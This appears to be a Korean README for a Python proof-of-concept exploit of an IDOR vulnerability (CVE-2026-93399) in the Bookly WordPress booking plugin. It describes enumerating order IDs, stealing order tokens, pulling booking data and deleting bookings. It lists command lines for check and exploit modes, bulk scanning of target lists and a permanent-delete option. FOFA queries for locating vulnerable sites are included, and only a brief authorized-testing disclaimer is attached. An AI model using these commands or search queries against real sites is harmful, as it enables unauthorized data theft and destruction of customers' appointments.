CVE-2026-93399 — Bookly IDOR (주문 토큰 노출 및 예약 롤백)

Bookly(bookly-responsive-appointment-booking-tool)의 **CVE-2026-93399**에 대한 Python 3 PoC입니다.

설명 (PoCbit / GitHub)

CVE-2026-93399 — Bookly ≤ 28.2는 공개 예약 AJAX에서 안전하지 않은 직접 객체 참조(CWE-639) 취약점이 존재합니다: **bookly_get_form_id**는 공격자가 제어하는 **order_id**를 폼 세션에 저장하고, **bookly_render_complete**는 세션이 해당 주문을 생성했는지 검증하지 않고 해당 주문의 비밀 bookly_order 토큰을 반환합니다. 인증되지 않은 공격자는 주문 ID를 열거하고, 토큰을 탈취하며, **bookly_add_to_calendar**를 통해 예약 데이터를 가져오고, **bookly_rollback_order**로 미완료 예약을 취소/삭제할 수 있습니다. CVSS 3.1: 9.1 Critical (C:N/I:H/A:H). > 28.2에서 수정되었습니다.

PoC 페이지: https://pocbit.org/pocs/cve-2026-93399

PoCbit

카탈로그 색인: https://pocbit.org/pocs/

사용법

pip install -r requirements.txt

python poc.py -u https://site.example --mode check
python poc.py -u https://site.example --mode check --order-id 15
python poc.py -u https://site.example --mode check --order-start 1 --order-end 30

python poc.py -u https://site.example --mode exploit --order-id 15 --calendar
python poc.py -u https://site.example --mode exploit --order-id 15 --rollback --confirm-delete
python poc.py --list targets.example.txt --mode check -j 10 --order-start 1 --order-end 5

FOFA

body="/wp-content/plugins/bookly-responsive-appointment-booking-tool/"
body="bookly_get_form_id"

법적 고지

승인된 테스트에만 사용하십시오. **--rollback --confirm-delete**는 예약을 영구적으로 삭제합니다.